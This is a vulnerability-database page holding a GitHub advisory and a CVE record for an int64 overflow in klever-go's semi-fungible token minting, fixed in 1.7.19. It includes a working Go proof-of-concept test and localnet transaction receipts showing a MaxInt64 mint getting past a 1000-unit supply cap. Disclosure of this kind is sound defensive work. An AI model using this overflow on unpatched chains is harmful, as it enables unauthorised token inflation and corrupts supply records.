Vulnerability-Lookup

GHSA-MRPP-V6PG-P54X

Vulnerability from github – Published: 2026-08-28 22:08 – Updated: 2026-08-28 22:08

Summary

klever-go: SFT add-quantity `int64` overflow bypasses a finite per-nonce MaxSupply

Details

Summary

On the SFT add-quantity path the only supply bound is SFTAddCirculation, which does meta.Circulation += amount with no overflow guard, then checks if meta.Circulation > meta.MaxSupply && meta.MaxSupply != 0. If amount overflows int64 and wraps negative, negative > MaxSupply is false, the cap check passes, the function returns nil, and the balance credit stands. A nonce created with a finite MaxSupply (e.g. 1000) can thus be minted to ~MaxInt64 tokens in one transaction. The fungible mint path is not vulnerable — it has a post-increment MintedValue <= 0 guard that the SFT path lacks.

Affected code

core/kapp/systemAccount/systemAcount.go:132-138 (SFTAddCirculation, the unguarded +=).
Caller: core/kapp/kda/mint.go:247-283 (processSemiFungibleAddQuantity); contrast guard mint.go:289.

Impact

A mint-role holder mints ~9.2e18 units of a nonce whose declared MaxSupply is small, with no authorized debit, and corrupts the on-chain Circulation counter to a negative value (misleading any market/indexer that reads it).

Reachability

Mint-role holder (asset owner or an address granted the role). The mint Amount is a raw int64 from the contract with no upstream upper bound.

Proof of concept

Unit test

TestExploit_SFTCirculationOverflowBypassesCap creates a nonce capped at MaxSupply = 1000, seeds Circulation = 5, then calls SFTAddCirculation(MaxInt64). The call returns nil (cap bypassed) and Circulation wraps to -9223372036854775804; a normal over-cap amount (2000) is correctly rejected with ErrMaxSupplyExceeded and does not persist — isolating the unguarded += overflow as the bypass.

Full Go PoC (systemAccount package, passes = bug confirmed)

package systemAccount

import (
    "math"
    "testing"

    "github.com/klever-io/klever-go/common"
    commonMock "github.com/klever-io/klever-go/common/mock"
    "github.com/klever-io/klever-go/data/state"
    "github.com/klever-io/klever-go/kapps"
    "github.com/klever-io/klever-go/tools/marshal"
    "github.com/stretchr/testify/require"
)

func newExploitSystemAccountKApp(t *testing.T) (*systemAccountKApp, map[string][]byte) {
    t.Helper()

    marshalizer := &marshal.ProtoMarshalizer{}
    store := make(map[string][]byte)

    tracker := &commonMock.DataTrieTrackerStub{
        RetrieveValueCalled: func(key []byte) ([]byte, error) {
            return store[string(key)], nil
        },
        SaveKeyValueCalled: func(key []byte, value []byte) error {
            store[string(key)] = value
            return nil
        },
    }

    kappAccount := &commonMock.KAppAccountHandlerStub{
        DataTrieTrackerCalled: func() state.DataTrieTracker {
            return tracker
        },
    }

    s := &systemAccountKApp{marshalizer: marshalizer}
    require.NoError(t, s.SetAccountsCacher(&commonMock.AccountsCacherStub{
        LoadKAppCalled: func(address []byte) (state.KAppAccountHandler, error) {
            return kappAccount, nil
        },
    }))

    return s, store
}

func readMeta(t *testing.T, s *systemAccountKApp, asset, nonce []byte) *kapps.MetaV2 {
    t.Helper()
    meta, err := s.SFTGetMeta(asset, nonce)
    require.NoError(t, err)
    require.NotNil(t, meta)
    return meta
}

// TestExploit_SFTCirculationOverflowBypassesCap proves that SFTAddCirculation
// (core/kapp/systemAccount/systemAcount.go:132) performs an unguarded
// `meta.Circulation += amount`. With an amount near MaxInt64, Circulation
// overflows int64 and wraps negative, so the signed cap check
// `meta.Circulation > meta.MaxSupply` reads false and the function returns nil:
// the finite per-nonce MaxSupply (1000) is bypassed and supply is minted far
// past the declared cap.
func TestExploit_SFTCirculationOverflowBypassesCap(t *testing.T) {
    asset := []byte("SFTASSET")
    nonce := []byte{0x01}

    const maxSupply = int64(1000)
    const startCirculation = int64(5)
    // amount is a raw int64 from the contract with no upstream upper bound; the
    // largest value it can carry is MaxInt64. With Circulation already at 5,
    // 5 + MaxInt64 overflows int64 and wraps negative.
    const overflowAmount = int64(math.MaxInt64) // 9223372036854775807

    // --- setup: a nonce with a small FINITE MaxSupply and small Circulation ---
    s, _ := newExploitSystemAccountKApp(t)

    require.NoError(t, s.SFTCreateMeta(asset, nonce, maxSupply, []byte("hash")))
    // seed an initial circulation of 5 (well within the cap)
    require.NoError(t, s.SFTAddCirculation(asset, nonce, startCirculation))

    before := readMeta(t, s, asset, nonce)
    require.Equal(t, maxSupply, before.MaxSupply)
    require.Equal(t, startCirculation, before.Circulation)
    t.Logf("BEFORE  exploit: MaxSupply=%d Circulation=%d", before.MaxSupply, before.Circulation)

    // --- contrast: a normal over-cap amount IS correctly rejected ---
    // 5 + 2000 = 2005 > 1000, no overflow -> ErrMaxSupplyExceeded.
    contrastErr := s.SFTAddCirculation(asset, nonce, 2000)
    require.ErrorIs(t, contrastErr, common.ErrMaxSupplyExceeded,
        "a non-overflowing over-cap mint must be rejected")
    // the rejected call must NOT have persisted (Circulation unchanged at 5)
    afterContrast := readMeta(t, s, asset, nonce)
    require.Equal(t, startCirculation, afterContrast.Circulation,
        "rejected over-cap mint must not persist new circulation")
    t.Logf("CONTRAST mint amount=2000 (5+2000=2005 > cap 1000) -> err=%v, Circulation stays %d",
        contrastErr, afterContrast.Circulation)

    // --- the exploit: amount near MaxInt64 overflows Circulation negative ---
    exploitErr := s.SFTAddCirculation(asset, nonce, overflowAmount)

    after := readMeta(t, s, asset, nonce)
    t.Logf("EXPLOIT mint amount=%d (~MaxInt64), MaxSupply=%d", overflowAmount, after.MaxSupply)
    t.Logf("AFTER   exploit: Circulation=%d  err=%v", after.Circulation, exploitErr)

    // (1) the cap was BYPASSED: SFTAddCirculation returned nil, no ErrMaxSupplyExceeded
    require.NoError(t, exploitErr,
        "BUG: overflowing mint should have been capped but returned nil (cap bypassed)")

    // (2) Circulation wrapped NEGATIVE: minted far past the declared cap of 1000
    require.Negative(t, after.Circulation,
        "BUG: Circulation must have overflowed to a negative value")

    // sanity: the wrap is exactly the int64 two's-complement of 5 + overflowAmount.
    // Computed via non-constant vars so the deliberate overflow happens at runtime
    // (a constant expression would be rejected by the compiler).
    circ := startCirculation
    amt := overflowAmount
    expectedWrap := circ + amt // intentional int64 overflow at runtime
    require.Equal(t, expectedWrap, after.Circulation)

    t.Logf("CONFIRMED: nonce capped at %d now reports Circulation=%d (negative); "+
        "a real mint would have credited ~%d tokens with no matching debit.",
        maxSupply, after.Circulation, overflowAmount)
}

On-chain reproduction (live single-node localnet)

SFT F05-2SDF was created with nonce 1 capped at MaxSupply = 1000 (the setup mint of amount = 1 succeeds normally). An AssetTrigger Mint of amount = 9223372036854775807 (MaxInt64) for F05-2SDF/1, sent to a fresh receiver, returned resultCode Ok with a Transfer receipt minting MaxInt64 from the protocol mint address — no MaxSupplyExceeded, despite the declared cap of 1000. (Sending the same amount to an account that already held nonce-1 units instead trips the balance overflow guard with RC 37, confirming the unguarded counter is specifically SFTAddCirculation, reached only when the receiver's balance add does not itself overflow.)

Setup mint — nonce 1 minted normally with amount=1 (hash 21e8059e…b55aad1a)

{
    "hash": "21e8059e50ffb5534a02f0f78e12db4632740d8d82da144d1f3732b4b55aad1a",
    "blockNum": 463,
    "status": "success",
    "resultCode": "Ok",
    "chainID": "420420",
    "receipts": [
        {
            "assetId": "F05-2SDF/1",
            "assetType": "SemiFungible",
            "from": "klv1qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqpgm89z",
            "to": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
            "type": 0,
            "typeString": "Transfer",
            "value": 1
        }
    ],
    "contract": [
        {
            "type": 11,
            "typeString": "AssetTriggerContractType",
            "parameter": {
                "triggerType": "Mint",
                "assetId": "F05-2SDF",
                "toAddress": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
                "amount": 1
            }
        }
    ]
}

Exploit — MaxInt64 add-quantity to a fresh receiver, result Ok, cap 1000 bypassed (hash 8aff40fa…2e1c981e)

{
    "hash": "8aff40fa270905516cad82083e7eae6264e63a6874f8c13d8348c3632e1c981e",
    "blockNum": 484,
    "status": "success",
    "resultCode": "Ok",
    "chainID": "420420",
    "receipts": [
        {
            "assetId": "F05-2SDF/1",
            "assetType": "SemiFungible",
            "from": "klv1qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqpgm89z",
            "to": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm",
            "type": 0,
            "typeString": "Transfer",
            "value": 9223372036854775807
        }
    ],
    "contract": [
        {
            "type": 11,
            "typeString": "AssetTriggerContractType",
            "parameter": {
                "triggerType": "Mint",
                "assetId": "F05-2SDF/1",
                "toAddress": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm",
                "amount": 9223372036854775807
            }
        }
    ]
}

Remediation

In SFTAddCirculation, add a post-increment overflow guard before the cap check (e.g. if meta.Circulation < 0 { return ErrSupplyNotValid }, matching the fungible MintedValue <= 0 pattern), or check amount against MaxSupply - Circulation with overflow-safe arithmetic.
Consensus-affecting → gate behind the next activation flag.

Severity

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/klever-io/klever-go"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.19"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55764"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T22:08:56Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\nOn the SFT add-quantity path the only supply bound is `SFTAddCirculation`, which does\n`meta.Circulation += amount` with **no overflow guard**, then checks\n`if meta.Circulation \u003e meta.MaxSupply \u0026\u0026 meta.MaxSupply != 0`. If `amount` overflows `int64` and wraps\n**negative**, `negative \u003e MaxSupply` is false, the cap check passes, the function returns `nil`, and the balance\ncredit stands. A nonce created with a finite `MaxSupply` (e.g. 1000) can thus be minted to ~`MaxInt64` tokens in\none transaction. The fungible mint path is **not** vulnerable \u2014 it has a post-increment `MintedValue \u003c= 0` guard\nthat the SFT path lacks.\n\n## Affected code\n- `core/kapp/systemAccount/systemAcount.go:132-138` (`SFTAddCirculation`, the unguarded `+=`).\n- Caller: `core/kapp/kda/mint.go:247-283` (`processSemiFungibleAddQuantity`); contrast guard `mint.go:289`.\n\n## Impact\nA mint-role holder mints ~9.2e18 units of a nonce whose declared `MaxSupply` is small, with no authorized debit,\nand corrupts the on-chain `Circulation` counter to a negative value (misleading any market/indexer that reads it).\n\n## Reachability\nMint-role holder (asset owner or an address granted the role). The mint `Amount` is a raw `int64` from the\ncontract with no upstream upper bound.\n\n## Proof of concept\n\n### Unit test\n`TestExploit_SFTCirculationOverflowBypassesCap` creates a nonce capped at `MaxSupply = 1000`, seeds\n`Circulation = 5`, then calls `SFTAddCirculation(MaxInt64)`. The call returns `nil` (cap bypassed) and `Circulation`\nwraps to `-9223372036854775804`; a normal over-cap amount (`2000`) is correctly rejected with\n`ErrMaxSupplyExceeded` and does not persist \u2014 isolating the unguarded `+=` overflow as the bypass.\n\n\u003cdetails\u003e\u003csummary\u003eFull Go PoC (\u003ccode\u003esystemAccount\u003c/code\u003e package, passes = bug confirmed)\u003c/summary\u003e\n\n```go\npackage systemAccount\n\nimport (\n\t\"math\"\n\t\"testing\"\n\n\t\"github.com/klever-io/klever-go/common\"\n\tcommonMock \"github.com/klever-io/klever-go/common/mock\"\n\t\"github.com/klever-io/klever-go/data/state\"\n\t\"github.com/klever-io/klever-go/kapps\"\n\t\"github.com/klever-io/klever-go/tools/marshal\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc newExploitSystemAccountKApp(t *testing.T) (*systemAccountKApp, map[string][]byte) {\n\tt.Helper()\n\n\tmarshalizer := \u0026marshal.ProtoMarshalizer{}\n\tstore := make(map[string][]byte)\n\n\ttracker := \u0026commonMock.DataTrieTrackerStub{\n\t\tRetrieveValueCalled: func(key []byte) ([]byte, error) {\n\t\t\treturn store[string(key)], nil\n\t\t},\n\t\tSaveKeyValueCalled: func(key []byte, value []byte) error {\n\t\t\tstore[string(key)] = value\n\t\t\treturn nil\n\t\t},\n\t}\n\n\tkappAccount := \u0026commonMock.KAppAccountHandlerStub{\n\t\tDataTrieTrackerCalled: func() state.DataTrieTracker {\n\t\t\treturn tracker\n\t\t},\n\t}\n\n\ts := \u0026systemAccountKApp{marshalizer: marshalizer}\n\trequire.NoError(t, s.SetAccountsCacher(\u0026commonMock.AccountsCacherStub{\n\t\tLoadKAppCalled: func(address []byte) (state.KAppAccountHandler, error) {\n\t\t\treturn kappAccount, nil\n\t\t},\n\t}))\n\n\treturn s, store\n}\n\nfunc readMeta(t *testing.T, s *systemAccountKApp, asset, nonce []byte) *kapps.MetaV2 {\n\tt.Helper()\n\tmeta, err := s.SFTGetMeta(asset, nonce)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, meta)\n\treturn meta\n}\n\n// TestExploit_SFTCirculationOverflowBypassesCap proves that SFTAddCirculation\n// (core/kapp/systemAccount/systemAcount.go:132) performs an unguarded\n// `meta.Circulation += amount`. With an amount near MaxInt64, Circulation\n// overflows int64 and wraps negative, so the signed cap check\n// `meta.Circulation \u003e meta.MaxSupply` reads false and the function returns nil:\n// the finite per-nonce MaxSupply (1000) is bypassed and supply is minted far\n// past the declared cap.\nfunc TestExploit_SFTCirculationOverflowBypassesCap(t *testing.T) {\n\tasset := []byte(\"SFTASSET\")\n\tnonce := []byte{0x01}\n\n\tconst maxSupply = int64(1000)\n\tconst startCirculation = int64(5)\n\t// amount is a raw int64 from the contract with no upstream upper bound; the\n\t// largest value it can carry is MaxInt64. With Circulation already at 5,\n\t// 5 + MaxInt64 overflows int64 and wraps negative.\n\tconst overflowAmount = int64(math.MaxInt64) // 9223372036854775807\n\n\t// --- setup: a nonce with a small FINITE MaxSupply and small Circulation ---\n\ts, _ := newExploitSystemAccountKApp(t)\n\n\trequire.NoError(t, s.SFTCreateMeta(asset, nonce, maxSupply, []byte(\"hash\")))\n\t// seed an initial circulation of 5 (well within the cap)\n\trequire.NoError(t, s.SFTAddCirculation(asset, nonce, startCirculation))\n\n\tbefore := readMeta(t, s, asset, nonce)\n\trequire.Equal(t, maxSupply, before.MaxSupply)\n\trequire.Equal(t, startCirculation, before.Circulation)\n\tt.Logf(\"BEFORE  exploit: MaxSupply=%d Circulation=%d\", before.MaxSupply, before.Circulation)\n\n\t// --- contrast: a normal over-cap amount IS correctly rejected ---\n\t// 5 + 2000 = 2005 \u003e 1000, no overflow -\u003e ErrMaxSupplyExceeded.\n\tcontrastErr := s.SFTAddCirculation(asset, nonce, 2000)\n\trequire.ErrorIs(t, contrastErr, common.ErrMaxSupplyExceeded,\n\t\t\"a non-overflowing over-cap mint must be rejected\")\n\t// the rejected call must NOT have persisted (Circulation unchanged at 5)\n\tafterContrast := readMeta(t, s, asset, nonce)\n\trequire.Equal(t, startCirculation, afterContrast.Circulation,\n\t\t\"rejected over-cap mint must not persist new circulation\")\n\tt.Logf(\"CONTRAST mint amount=2000 (5+2000=2005 \u003e cap 1000) -\u003e err=%v, Circulation stays %d\",\n\t\tcontrastErr, afterContrast.Circulation)\n\n\t// --- the exploit: amount near MaxInt64 overflows Circulation negative ---\n\texploitErr := s.SFTAddCirculation(asset, nonce, overflowAmount)\n\n\tafter := readMeta(t, s, asset, nonce)\n\tt.Logf(\"EXPLOIT mint amount=%d (~MaxInt64), MaxSupply=%d\", overflowAmount, after.MaxSupply)\n\tt.Logf(\"AFTER   exploit: Circulation=%d  err=%v\", after.Circulation, exploitErr)\n\n\t// (1) the cap was BYPASSED: SFTAddCirculation returned nil, no ErrMaxSupplyExceeded\n\trequire.NoError(t, exploitErr,\n\t\t\"BUG: overflowing mint should have been capped but returned nil (cap bypassed)\")\n\n\t// (2) Circulation wrapped NEGATIVE: minted far past the declared cap of 1000\n\trequire.Negative(t, after.Circulation,\n\t\t\"BUG: Circulation must have overflowed to a negative value\")\n\n\t// sanity: the wrap is exactly the int64 two\u0027s-complement of 5 + overflowAmount.\n\t// Computed via non-constant vars so the deliberate overflow happens at runtime\n\t// (a constant expression would be rejected by the compiler).\n\tcirc := startCirculation\n\tamt := overflowAmount\n\texpectedWrap := circ + amt // intentional int64 overflow at runtime\n\trequire.Equal(t, expectedWrap, after.Circulation)\n\n\tt.Logf(\"CONFIRMED: nonce capped at %d now reports Circulation=%d (negative); \"+\n\t\t\"a real mint would have credited ~%d tokens with no matching debit.\",\n\t\tmaxSupply, after.Circulation, overflowAmount)\n}\n```\n\u003c/details\u003e\n\n### On-chain reproduction (live single-node localnet)\nSFT `F05-2SDF` was created with nonce 1 capped at `MaxSupply = 1000` (the setup mint of `amount = 1` succeeds\nnormally). An `AssetTrigger Mint` of `amount = 9223372036854775807` (`MaxInt64`) for `F05-2SDF/1`, sent to a fresh\nreceiver, returned **`resultCode Ok`** with a `Transfer` receipt minting `MaxInt64` from the protocol mint address \u2014\nno `MaxSupplyExceeded`, despite the declared cap of 1000. (Sending the same amount to an account that already held\nnonce-1 units instead trips the *balance* overflow guard with `RC 37`, confirming the unguarded counter is\nspecifically `SFTAddCirculation`, reached only when the receiver\u0027s balance add does not itself overflow.)\n\n\u003cdetails\u003e\u003csummary\u003eSetup mint \u2014 nonce 1 minted normally with \u003ccode\u003eamount=1\u003c/code\u003e (hash \u003ccode\u003e21e8059e\u2026b55aad1a\u003c/code\u003e)\u003c/summary\u003e\n\n```json\n{\n    \"hash\": \"21e8059e50ffb5534a02f0f78e12db4632740d8d82da144d1f3732b4b55aad1a\",\n    \"blockNum\": 463,\n    \"status\": \"success\",\n    \"resultCode\": \"Ok\",\n    \"chainID\": \"420420\",\n    \"receipts\": [\n        {\n            \"assetId\": \"F05-2SDF/1\",\n            \"assetType\": \"SemiFungible\",\n            \"from\": \"klv1qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqpgm89z\",\n            \"to\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n            \"type\": 0,\n            \"typeString\": \"Transfer\",\n            \"value\": 1\n        }\n    ],\n    \"contract\": [\n        {\n            \"type\": 11,\n            \"typeString\": \"AssetTriggerContractType\",\n            \"parameter\": {\n                \"triggerType\": \"Mint\",\n                \"assetId\": \"F05-2SDF\",\n                \"toAddress\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n                \"amount\": 1\n            }\n        }\n    ]\n}\n```\n\u003c/details\u003e\n\n\u003cdetails\u003e\u003csummary\u003eExploit \u2014 \u003ccode\u003eMaxInt64\u003c/code\u003e add-quantity to a fresh receiver, result \u003ccode\u003eOk\u003c/code\u003e, cap 1000 bypassed (hash \u003ccode\u003e8aff40fa\u20262e1c981e\u003c/code\u003e)\u003c/summary\u003e\n\n```json\n{\n    \"hash\": \"8aff40fa270905516cad82083e7eae6264e63a6874f8c13d8348c3632e1c981e\",\n    \"blockNum\": 484,\n    \"status\": \"success\",\n    \"resultCode\": \"Ok\",\n    \"chainID\": \"420420\",\n    \"receipts\": [\n        {\n            \"assetId\": \"F05-2SDF/1\",\n            \"assetType\": \"SemiFungible\",\n            \"from\": \"klv1qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqpgm89z\",\n            \"to\": \"klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm\",\n            \"type\": 0,\n            \"typeString\": \"Transfer\",\n            \"value\": 9223372036854775807\n        }\n    ],\n    \"contract\": [\n        {\n            \"type\": 11,\n            \"typeString\": \"AssetTriggerContractType\",\n            \"parameter\": {\n                \"triggerType\": \"Mint\",\n                \"assetId\": \"F05-2SDF/1\",\n                \"toAddress\": \"klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm\",\n                \"amount\": 9223372036854775807\n            }\n        }\n    ]\n}\n```\n\u003c/details\u003e\n\n## Remediation\n1. In `SFTAddCirculation`, add a post-increment overflow guard before the cap check (e.g.\n   `if meta.Circulation \u003c 0 { return ErrSupplyNotValid }`, matching the fungible `MintedValue \u003c= 0` pattern), or\n   check `amount` against `MaxSupply - Circulation` with overflow-safe arithmetic.\n2. Consensus-affecting \u2192 gate behind the next activation flag.",
  "id": "GHSA-mrpp-v6pg-p54x",
  "modified": "2026-08-28T22:08:56Z",
  "published": "2026-08-28T22:08:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/security/advisories/GHSA-mrpp-v6pg-p54x"
    },
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/commit/8bcc600b0ac88070740c63c7ce1c8a968dd85251"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/klever-io/klever-go"
    },
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/releases/tag/v1.7.19"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "klever-go: SFT add-quantity `int64` overflow bypasses a finite per-nonce MaxSupply"
}

CVE-2026-55764 (GCVE-0-2026-55764)

Vulnerability from cvelistv5 – Published: 2026-08-28 22:08 – Updated: 2026-08-28 22:08

Title

Klever-Go: SFT add-quantity `int64` overflow bypasses a finite per-nonce MaxSupply

Summary

Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.19, Klever-Go allows a mint-role holder to bypass a finite per-nonce MaxSupply on the semi-fungible token add-quantity path. In core/kapp/systemAccount/systemAcount.go, SFTAddCirculation performed meta.Circulation += amount before evaluating whether Circulation exceeded MaxSupply, without checking for signed int64 overflow. A large positive raw Amount supplied through processSemiFungibleAddQuantity in core/kapp/kda/mint.go can wrap Circulation negative, causing the signed maximum-supply comparison to pass and crediting approximately MaxInt64 units while corrupting the on-chain counter. The fungible path is not affected because its MintedValue <= 0 guard detects the overflow. The correction uses the consensus activation flag FixMarketBuyOverflow. This issue is fixed in version 1.7.19.

Severity

8.7 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

CWE

CWE-190 - Integer Overflow or Wraparound

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/klever-io/klever-go/security/a…	x_refsource_CONFIRM
https://github.com/klever-io/klever-go/commit/8bc…	x_refsource_MISC
https://github.com/klever-io/klever-go/releases/t…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
klever-io	klever-go	Affected: < 1.7.19

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "klever-go",
          "vendor": "klever-io",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.7.19"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.19, Klever-Go allows a mint-role holder to bypass a finite per-nonce MaxSupply on the semi-fungible token add-quantity path. In core/kapp/systemAccount/systemAcount.go, SFTAddCirculation performed meta.Circulation += amount before evaluating whether Circulation exceeded MaxSupply, without checking for signed int64 overflow. A large positive raw Amount supplied through processSemiFungibleAddQuantity in core/kapp/kda/mint.go can wrap Circulation negative, causing the signed maximum-supply comparison to pass and crediting approximately MaxInt64 units while corrupting the on-chain counter. The fungible path is not affected because its MintedValue \u003c= 0 guard detects the overflow. The correction uses the consensus activation flag FixMarketBuyOverflow. This issue is fixed in version 1.7.19."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 8.7,
            "baseSeverity": "HIGH",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "NONE"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-190",
              "description": "CWE-190: Integer Overflow or Wraparound",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-28T22:08:27.196Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/klever-io/klever-go/security/advisories/GHSA-mrpp-v6pg-p54x",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/klever-io/klever-go/security/advisories/GHSA-mrpp-v6pg-p54x"
        },
        {
          "name": "https://github.com/klever-io/klever-go/commit/8bcc600b0ac88070740c63c7ce1c8a968dd85251",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/klever-io/klever-go/commit/8bcc600b0ac88070740c63c7ce1c8a968dd85251"
        },
        {
          "name": "https://github.com/klever-io/klever-go/releases/tag/v1.7.19",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/klever-io/klever-go/releases/tag/v1.7.19"
        }
      ],
      "source": {
        "advisory": "GHSA-mrpp-v6pg-p54x",
        "discovery": "UNKNOWN"
      },
      "title": "Klever-Go: SFT add-quantity `int64` overflow bypasses a finite per-nonce MaxSupply"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-55764",
    "datePublished": "2026-08-28T22:08:27.196Z",
    "dateReserved": "2026-06-17T14:34:51.880Z",
    "dateUpdated": "2026-08-28T22:08:27.196Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

GHSA-MRPP-V6PG-P54X

Summary

Affected code

Impact

Reachability

Proof of concept

Unit test

On-chain reproduction (live single-node localnet)

Remediation

CVE-2026-55764 (GCVE-0-2026-55764)

Tags

Sightings

Nomenclature